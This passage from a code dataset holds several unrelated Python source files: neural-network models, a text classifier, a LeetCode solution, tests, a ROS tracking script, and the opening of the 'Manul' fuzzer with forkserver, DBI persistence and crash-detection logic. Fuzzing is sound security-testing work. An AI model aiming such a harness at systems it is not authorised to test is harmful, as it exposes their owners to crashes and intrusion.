color_black)\n\n write_title(alex, 0, 150, \"A brand new car\", color_green)\n\n wn.mainloop()\n\n\nmain()\n","repo_name":"fall-2018-csc-226/a03-master","sub_path":"a03_dovranovs.py","file_name":"a03_dovranovs.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39864041634","text":"import tensorflow as tf\n\nclass LuangAttention(tf.keras.Model):\n \"\"\"\n Class that implements LuangAttention\n - uses current decoder output as input to calculate alligment vector\n - score = h_t_trans*W_a*h_s\n - h_t - decoder hideden_state\n - h_s - encoder_output\n - context_vector = softmax(score)\n \"\"\"\n\n def __init__(self, lstm_size, attention_type):\n \"\"\"\n Parameters: \n lstm_size - number of lstm units\n attention_type - attention type that should be used. Possible types: dot/general/concat \n \"\"\"\n\n super(LuangAttention, self).__init__()\n\n self.W_a = tf.keras.layers.Dense(lstm_size, name=\"LuangAttention_W_a\")\n self.W_a_tanh = tf.keras.layers.Dense(lstm_size, activation=\"tanh\", name=\"LuangAttention_W_a_tanh\")\n self.v_a = tf.keras.layers.Dense(1)\n self.type = attention_type\n \n def call(self, decoder_output, encoder_output):\n \"\"\"\n Method that calculates Attention vectors\n\n Parameters:\n decoder_output - last output of decoder or starting token for first iteration. Should be of shape:\n [batch_size, 1, lsts_size]\n encoder_output - hidden states of encoder. Should be of shape: [batch_size, input_seq_max_len, lstm_size]\n\n Returns:\n context_vector - vector that will be used to calcualte final output of ecoder. Shape [batch_size, 1, lstm_size]\n alignment_vector - vector represents what attention is focusing during given timestep. Shape [batch_size, 1, lstm_size]\n \"\"\"\n\n # encoder_output shape [batch_size, seq_max_len, hidden_units_of_encoder]\n # decoder_output shape [batch_size, 1, hidden_units of decoder]\n # score shape [batch_size, 1, seq_max_len]\n if self.type == \"dot\":\n score = tf.matmul(decoder_output, encoder_output, transpose_b=True)\n elif self.type == \"general\":\n score = tf.matmul(decoder_output, self.W_a(encoder_output), transpose_b=True)\n elif self.type == \"concat\":\n decoder_output = tf.broadcast_to(decoder_output, encoder_output.shape)\n concated = self.W_a_tanh(tf.concat((decoder_output, encoder_output), axis=-1))\n score = tf.transpose(self.v_a(concated), [0,2,1])\n else:\n raise Exception(\"wrong score function selected\")\n \n alignment_vector = tf.nn.softmax(score, axis=2)\n context_vector = tf.matmul(alignment_vector, encoder_output)\n\n return context_vector, alignment_vector\n\nclass Encoder(tf.keras.Model):\n def __init__(self, lstm_size, embedding_size, vocab_size):\n \"\"\"\n Parameters: \n lstm_size - number of lstm units\n embedding_size - size of embedding layer\n vocab_size - size of vocabulary for input language\n \"\"\"\n\n super(Encoder, self).__init__()\n\n self.units = lstm_size\n self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_size, name=\"Encoder_embedding\")\n self.lstm_layer = tf.keras.layers.LSTM(units=lstm_size, dropout=0.2, return_sequences=True, return_state=True, name=\"Encoder_LSTM\")\n\n def call(self, input_seq, initial_state, training_mode):\n \"\"\"\n Parameters:\n input_seq - tokenized input sequence of shape [batch_size, seq_max_len]\n initial_state - initial state of encoder lstm layer hidden states of shape [batch_size, lstm_size].\n Can be get from init_states method of encoder\n training_mode - are we in training or prediction mode. It`s important for dropouts present in lstm_layer\n \n Returns:\n encoder_out - encoder output states for each timestep of shape [batch_size, seq_max_len, lstm_size]\n state_h, state_c - hidden states of lstm_layer of shape 2*[batch_size, lstm_size]\n \"\"\"\n\n # input_seq =shape [batch_size, seq_max_len]\n # initial_state shape [batch_size, lstm_hidden_state_size]\n\n # embedding shape [batch_size, seq_max_len, embedding_size]\n embedded_input = self.embedding(input_seq, training=training_mode)\n #encoder output shape [batch_size, seq_max_len, lstm_size]\n # state_h, state_c shape 2*[batch_size, lstm_size]\n encoder_out, state_h, state_c = self.lstm_layer(inputs=embedded_input, initial_state=initial_state, training=training_mode)\n\n return encoder_out, state_h, state_c\n \n def init_states(self, batch_size):\n return (tf.zeros([batch_size, self.units]),\n tf.zeros([batch_size, self.units]))\n\nclass Decoder(tf.keras.Model):\n def __init__(self, lstm_size, embedding_size, vocab_size, attention_type):\n \"\"\"\n Parameters: \n lstm_size - number of lstm units\n embedding_size - size of embedding layer\n vocab_size - size of vocabulary for output language\n attention_type - attention type that should be used. Possible types: dot/general/concat \n \"\"\"\n\n super(Decoder, self).__init__()\n\n self.units = lstm_size\n self.embedding_layer = tf.keras.layers.Embedding(vocab_size, embedding_size, name=\"Decoder_embedding\")\n self.lstm_layer = tf.keras.layers.LSTM(lstm_size, dropout=0.2, return_sequences=True, return_state=True, name=\"Decoder_lstm\")\n self.dense_layer = tf.keras.layers.Dense(vocab_size)\n self.attention = LuangAttention(lstm_size, attention_type)\n\n self.W_c = tf.keras.layers.Dense(lstm_size, activation=\"tanh\", name=\"Attention_W_c\")\n self.W_s = tf.keras.layers.Dense(vocab_size, name=\"Attenton_W_s\")\n\n def call(self, decoder_input, hidden_states, encoder_output, training_mode):\n \"\"\"\n Parameters:\n decoder_input - tokenized input element of shape [batch_size, 1]\n hidden_states - hidden states of decoder from last timestep. In case of first call, they are taken form encoder.\n Shape 2*[batch_size, lstm_size].\n encoder_output - outputs from encoder layer of shape [batch_size, seq_max_len, lstm_size]\n training_mode - are we in training or prediction mode. It`s important for dropouts present in lstm_layer\n \n Returns:\n output_vector - output for given timestep of shape [batch_size, vocab_size]\n state_h, state_c - hidden states of lstm_layer of shape 2*[batch_size, lstm_size]\n alignment - attention vector, that can be used to visualize what we`re focusing each timestep. Shape [batch_size, 1, source_len]\n \"\"\"\n \n # decoder_input shape [batch_size, 1]\n # hidden_states shape 2*[batch_size, lstm_size]\n # encoder_output shape [batch_size, seq_max_len, lstm_size]\n embedded_input = self.embedding_layer(decoder_input, training=training_mode)\n # embedded_input shape [batch_size, 1, embedding_size]\n # lstm_out shape [batch_size, 1, lstm_size]\n # state_h, state_c shape 2*[batch_size, lstm_size]\n lstm_out, state_h, state_c = self.lstm_layer(embedded_input, hidden_states, training=training_mode)\n\n # context shape [batch_size, 1 lstm_size]\n # alignment shape [batch_size, 1, source_len]\n context, alignment = self.attention(lstm_out, encoder_output)\n\n # lstm_out shape [batch_size, lstm_size + lstm_size]\n lstm_out = tf.concat([tf.squeeze(context, axis=1), tf.squeeze(lstm_out, axis=1)], axis=1, name=\"Decoder_concat\")\n\n # output_vector shape [batch_size, lstm_units]\n output_vector = self.W_c(lstm_out)\n\n # conversion to vocabulary prob\n # output_vector shape [batch_size, vocab_size]\n output_vector = self.W_s(output_vector)\n return output_vector, state_h, state_c, alignment\n","repo_name":"mizzmir/NLP","sub_path":"machine translation projects/models/Seq2SeqAttmodel.py","file_name":"Seq2SeqAttmodel.py","file_ext":"py","file_size_in_byte":7395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"15893731488","text":"\nfrom __future__ import print_function\nimport matplotlib\nmatplotlib.use('Agg')\nimport sys\nimport pandas as pd\nimport numpy as np\nfrom pprint import pprint\nfrom time import time\nimport logging\nimport json\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom pymongo import MongoClient # pymongo>=3.2\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport warnings\nimport seaborn as sns\n# sns.set_style(\"darkgrid\")\n# warnings.simplefilter(action='ignore', category=FutureWarning)\n\n\n\n#############################################################################\n# Define a pipeline combining a text feature extractor with a simple\n# classifier\n\npipeline = Pipeline([\n ('vect', CountVectorizer()),\n ('tfidf', TfidfTransformer()),\n ('clf', SGDClassifier()),\n])\n\nparameters = {\n 'vect__max_df': (0.5, 0.75, 1.0),\n 'vect__ngram_range': ((1, 1), (1, 2)), # unigrams or bigrams\n 'clf__alpha': (0.00001, 0.000001),\n 'clf__penalty': ('l2', 'elasticnet'),\n}\n\nif __name__ == \"__main__\":\n with open(\"classifier/log.txt\", \"a\") as myfile:\n myfile.write(\"\\n\" + datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \" classifying\")\n\n if len(sys.argv) > 1: \n path = sys.argv[1]\n input0 = []\n with open(path) as f:\n for line in f:\n input0.append(line)\n else: \n input0 = [\"I\\'m gay\", \"I don\\'t really think i\\'m \\\"gay\\\"\"]\n\n\n if len(sys.argv) > 2: \n queryPhrase = ' '.join(sys.argv[2:]);\n queryPhrase = queryPhrase.replace(\"\\'\",\"\")\n else:\n queryPhrase = 'Im a lesbian';\n ###### code for testing specific queries #######\n # queryPhrase = 'Im a straight man';\n # queryPhrase = 'Im a student';\n # queryPhrase = 'Im a teacher';\n # queryPhrase = 'm a vegetarian';\n # queryPhrase = 'Im gay';\n # queryPhrase = 'm a straight woman';\n data = json.load(open('credentials.json'))\n\n\n ########## database connection ###############\n uri = 'mongodb://' + data['MLAB_USERNAME']+ ':' + data['MLAB_PASSWORD'] + '@ds221228.mlab.com:21228/' + data['MLAB_DB_NAME']\n client = MongoClient(uri)\n db = client.get_default_database()\n classifications = db['classifications']\n queries = db.classifications.find({'query': queryPhrase})\n with open(\"classifier/log.txt\", \"a\") as myfile:\n myfile.write(\"\\n\" + datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \" queryCount: \" + queryPhrase + \" : \" + str(queries.count()))\n if queries.count() < 100:\n print('##########')\n ones = [1 for i in input0]\n print ('[' + \" \".join(map(str,ones)).strip() + ']')\n else:\n d = []\n for doc in queries:\n d.append({'body': doc['post'], 'classification': doc['valid']})\n dbData = pd.DataFrame(d, columns = ['body', 'classification'])\n dbData.classification = dbData.classification.astype(int)\n ################################################\n # use following if reading from csv: datadf = pd.read_csv('Classyfications.csv')\n ################################################\n datadf = dbData\n data_new = list(datadf.body)\n data_target = np.array(datadf.classification)\n \n grid_search = GridSearchCV(pipeline, parameters, n_jobs=-1, verbose=1)\n grid_search.fit(data_new, data_target)\n best_parameters = grid_search.best_estimator_.get_params()\n ############ information about classifier ######################################\n # print(parameters)\n # print(\"done in %0.3fs\" % (time() - t0))\n # print(\"Best score: %0.3f\" % grid_search.best_score_)\n # print(\"Best parameters set:\")\n # for param_name in sorted(parameters.keys()):\n # print(\"\\t%s: %r\" % (param_name, best_parameters[param_name]))\n ################################################################################\n with open(\"classifier/log.txt\", \"a\") as myfile:\n myfile.write(\"\\n\" + datetime.now().strftime('%Y-%m-%d %H:%M:%S') + \" accuracy: \" + str(grid_search.best_score_))\n \n results = grid_search.predict(input0)\n print('##########')\n print(results)\n ##################### Accuracy vs Samples ###################################################\n # scores = []\n # xTicks = []\n # n = 5;\n # for i in range(1,n+1):\n # n = float(n)\n # dataTemp = datadf.sample(frac = i/n)\n # tempBody = list(dataTemp.body)\n # tempTarget = np.array(dataTemp.classification)\n # grid_search = GridSearchCV(pipeline, parameters, n_jobs=-1, verbose=1)\n # grid_search.fit(tempBody, tempTarget)\n # scores.append(grid_search.best_score_)\n # xTicks.append(i/n)\n # print(i/n, grid_search.best_score_)\n\n # plt.plot(xTicks, scores)\n # plt.title(\"Scores by Sample Size, n = \" + str(n) + \" on ID: \\'\" + queryPhrase + \"\\'\")\n # plt.show()\n # plt.savefig(\"scoreBySample\" + str(n) + queryPhrase + \".png\"); \n\n\n\n \n \n","repo_name":"nnarang7/get2knowus","sub_path":"classifier/sdg1.py","file_name":"sdg1.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41160253198","text":"import torch\nimport torch.nn.functional as F\nfrom torch import nn\n\nfrom common.utils import mask_from_lens\nfrom fastpitch.attn_loss_function import AttentionCTCLoss\n\n\nclass FastPitchLoss(nn.Module):\n def __init__(self, dur_predictor_loss_scale=1.0,\n pitch_predictor_loss_scale=1.0, attn_loss_scale=1.0,\n energy_predictor_loss_scale=0.1):\n super(FastPitchLoss, self).__init__()\n self.dur_predictor_loss_scale = dur_predictor_loss_scale\n self.pitch_predictor_loss_scale = pitch_predictor_loss_scale\n self.energy_predictor_loss_scale = energy_predictor_loss_scale\n self.attn_loss_scale = attn_loss_scale\n self.attn_ctc_loss = AttentionCTCLoss()\n\n def forward(self, model_out, targets, is_training=True, meta_agg='mean'):\n (mel_out, dec_mask, dur_pred, log_dur_pred, pitch_pred, pitch_tgt,\n energy_pred, energy_tgt, attn_soft, attn_hard, attn_dur,\n attn_logprob) = model_out\n\n (mel_tgt, in_lens, out_lens) = targets\n\n dur_tgt = attn_dur\n dur_lens = in_lens\n\n mel_tgt.requires_grad = False\n # (B,H,T) => (B,T,H)\n mel_tgt = mel_tgt.transpose(1, 2)\n\n dur_mask = mask_from_lens(dur_lens, max_len=dur_tgt.size(1))\n log_dur_tgt = torch.log(dur_tgt.float() + 1)\n loss_fn = F.mse_loss\n dur_pred_loss = loss_fn(log_dur_pred, log_dur_tgt, reduction='none')\n dur_pred_loss = (dur_pred_loss * dur_mask).sum() / dur_mask.sum()\n\n ldiff = mel_tgt.size(1) - mel_out.size(1)\n mel_out = F.pad(mel_out, (0, 0, 0, ldiff, 0, 0), value=0.0)\n mel_mask = mel_tgt.ne(0).float()\n loss_fn = F.mse_loss\n mel_loss = loss_fn(mel_out, mel_tgt, reduction='none')\n mel_loss = (mel_loss * mel_mask).sum() / mel_mask.sum()\n\n ldiff = pitch_tgt.size(2) - pitch_pred.size(2)\n pitch_pred = F.pad(pitch_pred, (0, ldiff, 0, 0, 0, 0), value=0.0)\n pitch_loss = F.mse_loss(pitch_tgt, pitch_pred, reduction='none')\n pitch_loss = (pitch_loss * dur_mask.unsqueeze(1)).sum() / dur_mask.sum()\n\n if energy_pred is not None:\n energy_pred = F.pad(energy_pred, (0, ldiff, 0, 0), value=0.0)\n energy_loss = F.mse_loss(energy_tgt, energy_pred, reduction='none')\n energy_loss = (energy_loss * dur_mask).sum() / dur_mask.sum()\n else:\n energy_loss = 0\n\n # Attention loss\n attn_loss = self.attn_ctc_loss(attn_logprob, in_lens, out_lens)\n\n loss = (mel_loss\n + dur_pred_loss * self.dur_predictor_loss_scale\n + pitch_loss * self.pitch_predictor_loss_scale\n + energy_loss * self.energy_predictor_loss_scale\n + attn_loss * self.attn_loss_scale)\n\n meta = {\n 'loss': loss.clone().detach(),\n 'mel_loss': mel_loss.clone().detach(),\n 'duration_predictor_loss': dur_pred_loss.clone().detach(),\n 'pitch_loss': pitch_loss.clone().detach(),\n 'attn_loss': attn_loss.clone().detach(),\n 'dur_error': (torch.abs(dur_pred - dur_tgt).sum()\n / dur_mask.sum()).detach(),\n }\n\n if energy_pred is not None:\n meta['energy_loss'] = energy_loss.clone().detach()\n\n assert meta_agg in ('sum', 'mean')\n if meta_agg == 'sum':\n bsz = mel_out.size(0)\n meta = {k: v * bsz for k, v in meta.items()}\n return loss, meta\n","repo_name":"NVIDIA/DeepLearningExamples","sub_path":"PyTorch/SpeechSynthesis/HiFiGAN/fastpitch/loss_function.py","file_name":"loss_function.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":11741,"dataset":"github-code","pt":"38"} +{"seq_id":"9771399085","text":"# Time O(NlogN) for sorting\n# Time O(NlogK) for priority queue\n# Space O(N)\n\n\nimport heapq\n\n\nclass Solution:\n\tdef maxPerformance(self, n: int, speed: List[int], efficiency: List[int], k: int) -> int:\n\n\t\tpeople = []\n\n\t\tfor i in range(n):\n\t\t\tpeople += [(speed[i], efficiency[i])]\n\n\t\tpeople.sort(key=lambda x: -x[1])\n\n\t\tpq = []\n\t\tres = 0\n\t\tspeed_sum = 0\n\t\tfor i in range(n): # For each person(people[i]), it has minimum efficiency\n\t\t\twhile len(pq) >= k: # pop the person with the lowest speed necessary\n\t\t\t\tperson = heapq.heappop(pq)[1]\n\t\t\t\tspeed_sum -= person[0]\n\n\t\t\theapq.heappush(pq, (people[i][0], people[i]))\n\t\t\tspeed_sum += people[i][0]\n\t\t\tres = max(res, people[i][1] * speed_sum) # speed is descending , so people[i][1] is always min speed\n\n\t\treturn res % (10 ** 9 + 7)","repo_name":"shubofan/LeetcodePython","sub_path":"Heap/1383.Maximum Performance of a Team.py","file_name":"1383.Maximum Performance of a Team.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12053215793","text":"import json\nfrom unittest.mock import AsyncMock\n\nfrom fastapi.testclient import TestClient\nfrom unittest import IsolatedAsyncioTestCase, mock\n\nfrom main import app\n\n\nclass TestSetCourse(IsolatedAsyncioTestCase):\n url = '/'\n\n async def asyncSetUp(self) -> None:\n self.client = TestClient(app)\n\n @mock.patch('services.exchange_rates.ExchangeRates.get_course', new_callable=AsyncMock)\n async def test_010_valid_endpoint(self, get_course):\n get_course.return_value = (1, 2)\n response = self.client.get(self.url, params={\n 'date_filter': '2020-09-09',\n })\n self.assertEqual(response.status_code, 200)\n self.assertEqual({'dollar': 1.0, 'euro': 2.0},json.loads(response.content))\n\n async def test_020_not_exist_course(self):\n response = self.client.get(self.url, params={\n 'date_filter': '2100-09-09',\n })\n self.assertEqual(response.status_code, 400)\n","repo_name":"gravity48/test_task","sub_path":"back/tests/test_view.py","file_name":"test_view.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23402121357","text":"#!/usr/bin/env python3\n\nimport time\nimport rospy\nimport json\nimport threading\nimport numpy as np\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import JointState\nimport matplotlib.pyplot as plt\n\n\nclass TargetReader:\n def __init__(self):\n rospy.init_node(\"target_position_estimation\", anonymous=True)\n\n self.lock = threading.Lock()\n self.target_est_x = [[], []]\n self.target_est_y = [[], []]\n self.target_est_z = [[], []]\n\n self.target_pos_x = [[], []]\n self.target_pos_y = [[], []]\n self.target_pos_z = [[], []]\n\n self.target_est_sub = rospy.Subscriber(\n \"target_est\",\n String,\n self.est_callback\n )\n\n self.target_pos_x_sub = rospy.Subscriber(\n \"target/joint_states\",\n JointState,\n self.target_pos_callback\n )\n\n def target_pos_callback(self, data):\n time = data.header.stamp.secs\n self.target_pos_x[0].append(time)\n self.target_pos_x[1].append(data.position[0])\n self.target_pos_y[0].append(time)\n self.target_pos_y[1].append(data.position[1])\n self.target_pos_z[0].append(time)\n self.target_pos_z[1].append(data.position[2])\n\n\n def est_callback(self, data):\n data = json.loads(data.data)\n\n if data['projection'] == 'xz':\n self.target_est_x[0].append(np.float64(data['time']['secs']))\n self.target_est_x[1].append(data['pos'][0])\n elif data['projection'] == 'yz':\n print(\"here!!\")\n self.target_est_y[0].append(np.float64(data['time']['secs']))\n self.target_est_y[1].append(data['pos'][1])\n # if the time stamp is close enough to the previous addition, take\n # the average of the two as they correspond to the same reading\n # but from different projections\n self.target_est_z[0].append(np.float64(data['time']['secs']))\n self.target_est_z[1].append(data['pos'][2])\n\n def make_plots(self):\n plt.figure()\n plt.plot(\n self.target_est_x[0],\n self.target_est_x[1],\n 'b-',\n label=\"estimated x\")\n plt.plot(\n self.target_pos_x[0],\n self.target_pos_x[1],\n 'r-',\n label=\"actual x\")\n plt.legend()\n plt.xlabel(\"time\")\n plt.ylabel(\"x coordinate\")\n plt.show()\n\n plt.figure()\n plt.plot(\n self.target_est_y[0],\n self.target_est_y[1],\n 'b-',\n label=\"estimated y\")\n plt.plot(\n self.target_pos_y[0],\n self.target_pos_y[1],\n 'r-',\n label=\"actual y\")\n plt.legend()\n plt.xlabel(\"time\")\n plt.ylabel(\"y coordinate\")\n plt.show()\n\n plt.figure()\n plt.plot(\n self.target_est_z[0],\n self.target_est_z[1],\n 'b-',\n label=\"estimated z\")\n plt.plot(\n self.target_pos_z[0],\n self.target_pos_z[1],\n 'r-',\n label=\"actual z\")\n plt.legend()\n plt.xlabel(\"time\")\n plt.ylabel(\"z coordinate\")\n plt.show()\n\n\ndef main():\n t = TargetReader()\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print(\"shutting down\")\n\n t.make_plots()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"adkingston/ivr","sub_path":"src/src/track_target.py","file_name":"track_target.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23759802429","text":"from os import listdir\nfrom os.path import isfile, join\nimport shutil\nfrom ctypes import *\nimport multiprocessing\nimport argparse\nfrom timeit import default_timer as timer\nimport ntpath\nfrom printing import *\nfrom manul_utils import *\nfrom manul_win_utils import *\nimport manul_network\nimport random\nimport afl_fuzz\nimport zlib\nimport importlib\nimport dbi_mode\nimport radamsa\n\nPY3 = sys.version_info[0] == 3\n\nif PY3:\n string_types = str,\n xrange = range\nelse:\n string_types = basestring,\n xrange = xrange\n\nimport subprocess, threading\nimport signal\n\nnet_process_is_up = None\nnet_sleep_between_cases = 0\n\nINIT_WAIT_TIME = 0\n\nclass ForkServer(object):\n def __init__(self, timeout):\n self.control = os.pipe()\n self.status = os.pipe()\n self.r_fd = None\n self.timeout = timeout\n\n def init_forkserver(self, cmd):\n processid = os.fork()\n if processid:\n # This is the parent process\n time.sleep(INIT_WAIT_TIME)\n self.r_fd = os.fdopen(self.status[0], 'rb')\n res = self.r_fd.read(4)\n if len(res) != 4:\n ERROR(\"Failed to init forkserver\")\n INFO(0, bcolors.OKGREEN, None, \"Forkserver init completed successfully\")\n else:\n\n # This is the child process\n\n os.dup2(self.control[0], 198)\n os.dup2(self.status[1], 199)\n\n null_fds = [os.open(os.devnull, os.O_RDWR) for x in xrange(2)]\n # put /dev/null fds on 1 and 2\n os.dup2(null_fds[0], 1)\n os.dup2(null_fds[1], 2)\n\n cmd = cmd.split()\n\n # TODO: we need to close some fds before we actually start execv\n # more details: https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html\n os.execv(cmd[0], cmd[0:])\n ERROR(\"Failed to start the target using forkserver\")\n sys.exit(0) # this shouldn't be happen\n\n\n def run_via_forkserver(self):\n # TODO: timeouts for read/write otherwise we can wait infinitely\n\n res = os.write(self.control[1], b\"go_!\") # ask forkserver to fork\n if res != 4:\n ERROR(\"Failed to communicate with forkserver (run_via_forkserver, write). Unable to send go command\")\n\n fork_pid = self.r_fd.read(4)\n if len(fork_pid) != 4:\n ERROR(\"Failed to communicate with forkserver (run_via_forkserver, read). Unable to confirm fork\")\n\n status = self.r_fd.read(4) # TODO: we need timeout here because our target can go idle\n if len(status) != 4:\n ERROR(\"Failed to communicate with forkserver (run_via_forkserver, read). Unable to retrieve child status\")\n\n return bytes_to_int(status)\n\n\nclass Command(object):\n def __init__(self, target_ip, target_port, target_protocol, timeout, fokserver_on, dbi_persistence_handler,\n dbi_persistence_mode):\n self.process = None\n self.forkserver_on = fokserver_on\n self.forkserver_is_up = False\n self.forkserver = None\n self.returncode = 0\n\n if self.forkserver_on:\n self.forkserver = ForkServer(timeout)\n\n self.out = None\n self.err = None\n self.timeout = timeout\n if target_ip:\n self.target_ip = target_ip\n self.target_port = int(target_port)\n self.target_protocol = target_protocol\n self.net_class = None\n\n self.dbi_persistence_on = dbi_persistence_handler\n self.dbi_persistence_mode = dbi_persistence_mode\n self.dbi_restart_target = True\n\n def init_target_server(self, cmd):\n global net_process_is_up\n INFO(1, bcolors.BOLD, None, \"Launching %s\" % cmd)\n if sys.platform == \"win32\":\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n else:\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n preexec_fn=os.setsid)\n if not is_alive(self.process.pid):\n ERROR(\"Failed to start target server error code = %d, output = %s\" % (self.process.returncode, self.process.stdout))\n\n net_process_is_up = True\n time.sleep(INIT_WAIT_TIME)\n\n\n def net_send_data_to_target(self, data, net_cmd):\n global net_process_is_up\n\n if not net_process_is_up:\n INFO(1, None, None, \"Target network server is down, starting\")\n self.init_target_server(net_cmd)\n self.net_class = manul_network.Network(self.target_ip, self.target_port, self.target_protocol)\n\n if not net_process_is_up: # is it the first run ?\n ERROR(\"The target network application is not started, aborting\")\n\n self.net_class.send_test_case(data)\n\n time.sleep(net_sleep_between_cases)\n\n if not is_alive(self.process.pid):\n INFO(1, None, None, \"Target is dead\")\n if sys.platform == \"win32\":\n returncode = EXCEPTION_FIRST_CRITICAL_CODE # just take the first critical\n else:\n returncode = 11\n net_process_is_up = False\n self.net_class = None\n\n return returncode, \"[Manul message] Target is dead\"\n\n return 0, \"\"\n\n\n def exec_command_forkserver(self, cmd):\n if not self.forkserver_is_up:\n self.forkserver.init_forkserver(cmd)\n self.forkserver_is_up = True\n status = self.forkserver.run_via_forkserver()\n\n return status\n\n\n def handle_dbi_pre(self):\n res = self.dbi_persistence_on.recv_command()\n if res == 'P':\n # our target successfully reached the target function and is waiting for the next command\n INFO(1, None, None, \"Target successfully reached the target function (pre_handler)\")\n send_res = self.dbi_persistence_on.send_command('F') # notify the target that we received command\n elif res == 'K' and self.dbi_persistence_mode == 2:\n INFO(1, None, None, \"Target successfully reached the target function (pre_loop_handler) for the first time\")\n send_res = self.dbi_persistence_on.send_command('P') # notify the target that we received command\n elif res == 'Q':\n INFO(1, None, None, \"Target notified about exit (after post_handler in target)\")\n self.dbi_restart_target = True\n return True\n elif res == 'T': # TODO can it happen when we are sending command ?\n self.dbi_restart_target = True\n return True\n else:\n ERROR(\"Received wrong command from the instrumentation library (pre_handler): %s\" % res)\n\n return False\n\n\n def handle_dbi_post(self):\n res = self.dbi_persistence_on.recv_command()\n if res == 'K':\n INFO(1, None, None, \"Target successfully exited from the target function (post_handler)\")\n elif res == 'T':\n WARNING(None, \"The target failed to answer within given timeframe, restarting\")\n self.dbi_restart_target = True\n return 0\n elif res == \"\":\n WARNING(None, \"No answer from the target, restarting.\")\n # the target should be restarted after this (it can be a crash)\n self.dbi_restart_target = True\n return 1\n elif res == \"C\": # target sent crash signal, handling and restarting\n self.dbi_restart_target = True\n return 2\n else:\n ERROR(\"Received wrong command from the instrumentation library (post_handler)\")\n return 0\n\n\n def exec_command_dbi_persistence(self, cmd):\n if self.dbi_restart_target:\n if self.process != None and is_alive(self.process.pid):\n INFO(1, None, None, \"Killing the target\")\n kill_all(self.process.pid)\n self.dbi_persistence_on.close_ipc_object() # close if it is not a first run\n\n self.dbi_persistence_on.setup_ipc_object()\n\n if sys.platform == \"win32\":\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n if not is_alive(self.process.pid):\n ERROR(\"Failed to start the target error code = %d, output = %s\" %\n (self.process.returncode, self.process.stdout))\n self.dbi_persistence_on.connect_pipe_win()\n else:\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n preexec_fn=os.setsid)\n\n if not is_alive(self.process.pid):\n ERROR(\"Failed to start the target error code = %d, output = %s\" %\n (self.process.returncode, self.process.stdout))\n\n INFO(1, None, None, \"Target successfully started, waiting for result\")\n\n self.dbi_restart_target = False\n\n if self.handle_dbi_pre():\n # It means that the target issued quit command or we failed to send command, we should handle it properly\n return 0, \"\"\n\n if self.dbi_persistence_mode == 1:\n res = self.handle_dbi_post()\n if res == 1:\n self.handle_return(1) # we use custom timeout of 5 seconds here to check if our target is still alive\n return self.process.returncode, self.err\n elif res == 2: # TODO: it is only for windows, make it consistent\n return EXCEPTION_FIRST_CRITICAL_CODE, \"Segmentation fault\"\n else:\n ERROR(\"Persistence mode not yet supported\")\n\n return 0, \"\"\n\n\n def handle_return(self, default_timeout):\n INFO(1, None, None, \"Requesting target state\")\n if PY3:\n try:\n self.out, self.err = self.process.communicate(timeout=default_timeout)\n except subprocess.TimeoutExpired:\n INFO(1, None, None, \"Timeout occured\")\n kill_all(self.process.pid)\n return False\n else:\n self.out, self.err = self.process.communicate() # watchdog will handle timeout if needed in PY2\n INFO(1, None, None, \"State %s %s\" % (self.out, self.err))\n return True\n\n\n def exec_command(self, cmd):\n if self.forkserver_on:\n self.returncode = self.exec_command_forkserver(cmd)\n self.err = \"\"\n return\n\n if self.dbi_persistence_on:\n INFO(1, None, None, \"Persistence mode\")\n self.returncode, self.err = self.exec_command_dbi_persistence(cmd)\n return\n\n\n if sys.platform == \"win32\":\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n else:\n self.process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n preexec_fn=os.setsid)\n\n INFO(1, None, None, \"Target successfully started, waiting for result\")\n self.handle_return(self.timeout)\n\n def run(self, cmd):\n\n self.exec_command(cmd)\n\n if isinstance(self.err, (bytes, bytearray)):\n self.err = self.err.decode(\"utf-8\", 'replace')\n\n if self.forkserver_on or self.dbi_persistence_on:\n return self.returncode, self.err\n return self.process.returncode, self.err\n\n\nclass Fuzzer:\n def __init__(self, list_of_files, fuzzer_id, virgin_bits_global, args, stats_array, restore_session, crash_bits,\n dbi_setup, radamsa_path):\n # local fuzzer config\n INFO(1, None, None, \"Performing intialization of fuzzer %d\" % fuzzer_id)\n global SHM_SIZE, net_sleep_between_cases\n self.SHM_SIZE = SHM_SIZE\n self.CALIBRATIONS_COUNT = 7\n self.SHM_ENV_VAR = \"__AFL_SHM_ID\"\n\n self.deterministic = args.deterministic_seed\n if self.deterministic:\n random.seed(a=self.fuzzer_id)\n\n self.dbi = args.dbi\n self.afl_fuzzer = dict()\n self.radamsa_path = radamsa_path\n if \"linux\" in sys.platform and 